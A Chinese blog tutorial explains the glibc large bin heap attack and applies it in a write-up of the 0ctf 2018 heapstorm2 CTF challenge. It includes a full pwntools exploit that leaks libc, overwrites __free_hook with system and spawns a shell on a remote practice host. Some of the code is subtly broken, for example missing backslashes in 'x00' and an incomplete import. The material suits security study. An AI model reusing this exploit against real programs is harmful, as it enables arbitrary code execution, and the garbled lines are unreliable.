介绍
结构
large bin与其他bin的结构都不同,它多了两个指针fd_nextsize和bk_nextsize,直接说难以理解它的结构,先放一张图后边慢慢说它的结构:
上图是large bin的内部结构,large bin与其他bin的主要区别在于它使用fd_nextsize指针和bk_nextsize指针链接大小不同的链表,每条链表中大小相同的chunk用fd指针和bk指针相连,large bin使用这种结构可以更好的整理内存空间。
我们知道一共有136个bin,fast bin是一个单独的数组,其中有10个bin,剩下的126个bin是另一个数组,这126个bin中序号1是unsorted bin,序号2到序号63是small bin,64到126是large bin。
fast bin使用1个数组保存10个bin,每个bin中储存的chunk size大小是固定的,取出chunk时使用一个fd指针就能完成整个循环查找合适的chunk。
unsorted bin中的chunk size大小不固定但只有一个bin,查找chunk时使用fd指针和bk足以。
small bin中链表保存的chunk size大小也是固定的,查找chunk取出时使用fd指针和bk指针就可以找到合适的chunk。
而large bin中每个bin中存储的chunk size大小不固定,每个bin中链接了不同的链表(如上图的chunk1-1和chunk1-2是一个链表),每个链表中的chunk size大小相同,取出chunk时为了能够循环查找合适的chunk需要使用fd_nextsize和bk_nextsize循环bin中的不同链表,fd_nextsize指向比自己小的链表中最大的链表的链头,bk_nextsize指向比自己大的链表中最小的链表的链头,fd_nextsize和bk_nextsize在每条链表的链头才有用,因为链表中的chunk大小固定使用fd指针和bk指针链接,large bin使用FIFO分配策略,将先进入的chunk设置为链头,后面插入chunk在链头的后面,取出时取出链头的下一个chunk。
原理
了解了large bin的结构和fd_nextsize指针和bk_nextsize指针的作用后解释largebin attack的原理。
在unsorted bin中寻找合适chunk时有时会将unsorted bin中的chunk根据大小放到small bin和large bin中去,largebin attack就是利用在将unsorted bin中的chunk放到large bin中时会改变fd_nextsize指针、bk_nextsize指针、fd指针和bk指针完成的。
看一下在将unsorted bin中的chunk放到large bin时_int_malloc作了什么处理:
上面在将unsorted bin中chunk放到large bin的过程中先检查chunk是属于small bin还是属于large bin,确定要放入的chunk属于large bin后根据chunk的size大小查找large bin的索引。按照索引进入bin后先判断该bin中是否已经存在chunk,如果不存在则直接插入并将其设置为属于该size大小的链表的链头,并设置fd_nextsize和bk_nextsize指向其本身。如果该large bin中已经存在chunk了则根据该chunk的size去查找与该size大小相同的链表,找到后如果链表的头部没有chunk则直接插入,同时使该chunk的fd_nextsize和bk_nextsize分别指向当前链表的前一个链表的链头和后一个链表的链头,如果该链表头部有了chunk则将要插入的chunk插到链头的下一个节点,并将插入的chunk的fd_nextsize指针和bk_nextsize指针设置为0。
我们重点关注将chunk设置为链头时large bin时fd_nextsize指针和bk_nextsize指针是如何设置的,如上面的代码,将要插入的chunk的fd_nextsize指针指向要插入的链表中前面的链头,bk_nextsize指针指向前一个链头的bk_nextsize指针,前一个链头的bk_nextsize指针指向要插入的chunk,最后将要插入的chunk的bk_nextsize指针(即此时的链头指向的大于这个链的最小链头)的fd_nextsize指针设置为要插入的chunk。说不清楚看下面的这张图,victim是要插入的chunk,fwd是要插入的chunk的链前面链的链头:
如果伪造一个还在unsorted bin中的fake_chunk并且能够修改一个已经在large bin中的chunk的bk_nextsize指针(需要保证fake_chunk进入large bin后在chunk的后面且相邻)之后触发unlink使fake_chunk放入large bin中就能控制程序写一个chunk地址到目的地址,这里是将victim的地址写入victim->bk_nextsize->fd_nextsize。
能够写一个chunk地址到目的地址的原因在于victim->bk_nextsize->fd_nextsize = victim,现在解释起来victim->bk_nextsize或fwd->bk_nextsize是我们的目标,但是在实际操作时,fwd是可控的chunk,victim才是目标。
在之后还有
和
除了上面能够利用fd_nextsize指针和bk_nextsize指针实现任意地址写,还可以利用fd指针和bk指针实现任意地址写,从上面的代码可以知道bck被设置为了fwd->bk可以控制(之前的条件就是放入large bin中的chunk可控),后面的这4行代码设置fd指针和bk指针,可以通过修改victim和fwd来控制一个bck。
除了在将unsorted bin中的chunk放入large bin时有能够利用的东西,在large bin中取出chunk时也存在能够利用的东西。
再看一下_int_free对从large bin中取出chunk做了什么处理:
以上代码先根据要取出的chunk的size大小寻找合适的chunk,没有合适的chunk用其他方法分配,如果能找到则在找到的chunk属于链表中取出链头后第一个chunk返回使用,这样可以减少对fd_nextsize和bk_nextsize的操作,将chunk取出后如果正好合适则直接返回使用,多余则切割,判断切割后剩下的chunk是否大于MINSIZE,大于则放入unsorted bin中,小于返回给用户。
在上面的过程中同样存在漏洞:
因为large bin是通过bk_nextsize循环查找chunk的,如果伪造chunk的bk_nextsize指针使其指向我们想要控制的内存地址,并且在想要控制的内存上伪造数据绕过unlink的检查,那么我们就能申请到这部分内存进而控制,要做到这点可以使fd指针和bk指针按照small binunlink的利用方式设置,并且fd_nextsize指针和bk_nextsize指针都为0绕过检查。
总结一下,large bin的利用方式和其他bin的利用大同小异,都是通过伪造指针完成的利用,只是增加了一个fd_nextsize指针和bk_nextsize指针,绕过对fd_nextsize指针和bk_nextsize指针的检查后和unsortedbin attack相似。
保护
与其他bin一样,在发现了漏洞后glibc都会添加检查机制,glibc2.30后也添加了检查,如果想要利用large bin完成攻击需要unsorted bin中的chunk的bk指针可控,large bin中的bk指针和bk_nextsize指针可控,并且最后使在large bin中的chunk和unsorted bin中的chunk在同一个large bin中,同时unsorted bin中的chunk要比large bin中的chunk大。
例题
分析
保护全开
ida反汇编main函数:
sub_BE6()调用了mallopt函数关闭了fastbin的使用,使用mmap在0x13370000处申请了一块内存:
之后用fd = open("/dev/urandom", 0)向0x13370800那里写入了随机数:
allocate函数:
最多申请16个chunk,size大小限制为12到4096,用calloc申请chunk会清空之前的内容,申请的chunk和size用前面申请的那一块内存1337 0800保存,chunk的指针与上面0x13370800左边的8字节做亦或处理后覆盖之前的值,chunk的size与右边的8字节做异或处理后覆盖右边的8字节值。
update函数:
update在22行存在一个off-by-null漏洞。
delete函数:
free后将size和指针都置0。
view函数:
检查size^指针后是否等于0x13377331,可以通过控制chunk的内容打印信息。
思路
上面存在一个off-by-null,可以利用off-by-null来overlap chunk,但因为使用calloc申请内存在使用overlap chunk时要注意使用时要将chunk中的结构布置好,限制不能申请fast bin的chunk,chunk的size限制为12到4096,可以使用overlap chunk满足largebin attack的条件来控制0x13370800附近的内存。
先申请7个chunk,从chunk0开始
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
使用chunk0、1、2布置unsorted bin chunk,chunk3、4、5布置large bin chunk,chunk6防止top chunk合并。
然后编辑chunk1的内容伪造prev_size,之后free chunk1,free后通过chunk0使用off-by-null修改chunk1的size为0x500,然后申请两个chunk保证两个chunk完全占用free的chunk1,第一个申请的新chunk1小点,第二个申请的chunk7大点保证在unsorted bin中,再free 新的chunk1,chunk7别free后面要用,以上步骤完成后现在chunk2的inuse位置是0,此时free chunk2就会触发合并,将chunk2和最初的chunk1合并,现在再申请两个chunk处理好申请的大小,现在申请的第一个chunk1大点使后面再申请一个chunk2正好能够管理chunk7,现在就完成了使用overlap chunk用chunk2控制chunk7。
edit(1,'a'*0x4F0+p64(0x500))
delete(1)
edit(0,'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(1)
delete(2)
add(0x38)
add(0x4e8)
画个图理解下:
然后再重复上一步骤再控制一块chunk,刚才控制的是unsorted bin中的chunk,现在控制的是large bin中的chunk。
edit(4,'a'*0x4F0+p64(0x500))
delete(4)
edit(3,'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(4)
delete(5)
add(0x48)
现在利用前面能够控制的两个chunk将unsorted bin和large bin中的chunk放到对应位置,修改unsorted bin中chunk的bk指针,large bin中chunk的bk指针和bk_nextsize指针,使其实现任意地址写堆地址申请到0x13370800附近也就是写入的0x133707e3
add(0x48)
delete(2)
add(0x4e8)
delete(2)
fake_chunk = 0x13370800 - 0x20
payload = 'a' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload)
payload = 'a' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48)
这步没什么好解释的,第一个delete的chunk放到了unsorted bin中,第二个放到了large bin中,之后就是利用之前堆重叠的两块chunk控制bin中的两个chunk的结构申请控制0x13370800附近的内存。
前面的步骤完成了能够控制0x13370800附近的内存后思路就清晰了,泄露libc地址,覆盖malloc_hook或free_hook为system即可
先泄露heap地址,然后利用chunk的fd指针和bk指针泄露libc地址,注意前面分析的时候提到过,要使用view函数打印信息要满足chunk的size^chunk的指针等于0x13377331,还有可以直接修改0x13370800后的4个字节绕过亦或,这里因为能够控制0x13370800附近的内存所以可以直接修改满足条件
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload)
payload = p64(0)*3 +p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000)
payload += p64(fake_chunk+3) + p64(8)
edit(0, payload)
show(1)
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, 'x00'))
payload = p64(0)*3 + p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000)
payload += p64(heap+0x10) + p64(8)
edit(0, payload) show(1)
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, 'x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
最后控制指针修改free_hook为system函数并在chunk中写入/bin/sh后free该chunk触发system('/bin/sh')即可
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)
payload += p64(0x13370800+0x40) + p64(8)
payload += '/bin/shx00'
edit(0, payload)
edit(0, p64(system))
delete(1)
p.interactive()
exp:
from pwn import
p = remote("node3.buuoj.cn", 27760)
context.log_level = 'debug'
elf = ELF("./0ctf_2018_heapstorm2")
libc = ELF('./libc-2.23.so')
def add(size):
p.recvuntil("Command: ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(index,content):
p.recvuntil("Command: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def delete(index):
p.recvuntil("Command: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Command: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(index))
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
edit(1,'a'*0x4F0+p64(0x500))
delete(1)
edit(0,'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(1)
delete(2)
add(0x38)
add(0x4e8)
edit(4,'a'*0x4F0+p64(0x500))
delete(4)
edit(3,'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(4)
delete(5)
add(0x48)
add(0x48)
delete(2)
add(0x4e8)
delete(2)
fake_chunk = 0x13370800 - 0x20
payload = 'a' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload)
payload = 'a' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48)
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload)
payload = p64(0)*3 +p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000)
payload += p64(fake_chunk+3) + p64(8)
edit(0, payload)
show(1)
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, 'x00'))
payload = p64(0)*3 + p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000)
payload += p64(heap+0x10) + p64(8)
edit(0, payload) show(1)
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, 'x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
最后控制指针修改free_hook为system函数并在chunk中写入/bin/sh后free该chunk触发system('/bin/sh')即可
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)
payload += p64(0x13370800+0x40) + p64(8)
payload += '/bin/shx00'
edit(0, payload)
edit(0, p64(system))
delete(1)
p.interactive()
总结
大概是笔者学习堆的时间较少,这部分理解的不是很清楚,个人感觉largebin attack应该是堆中最难利用的,这部分需要对bin的分配很了解,绕过完成利用时也最麻烦。如果有大佬发现上面有写的不对的地方希望指正,谢谢。
参考
https://wiki.x10sec.org/pwn/linux/glibc-heap/large_bin_attack-zh/
https://blog.csdn.net/zero_lee/article/details/7865481?locationNum=3
https://blog.csdn.net/weixin_40850881/article/details/80293143
一、相关背景 有些网站需求提供网页截图功能,例如反馈意见时需要带上屏幕截图,又或者说将项目中统计报表的界面的数据定时发送等。部分情况下是使用PhantomJs实现,但是存在退出进程无法清理干净、容易被反爬虫等问题。同时Phantomjs…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论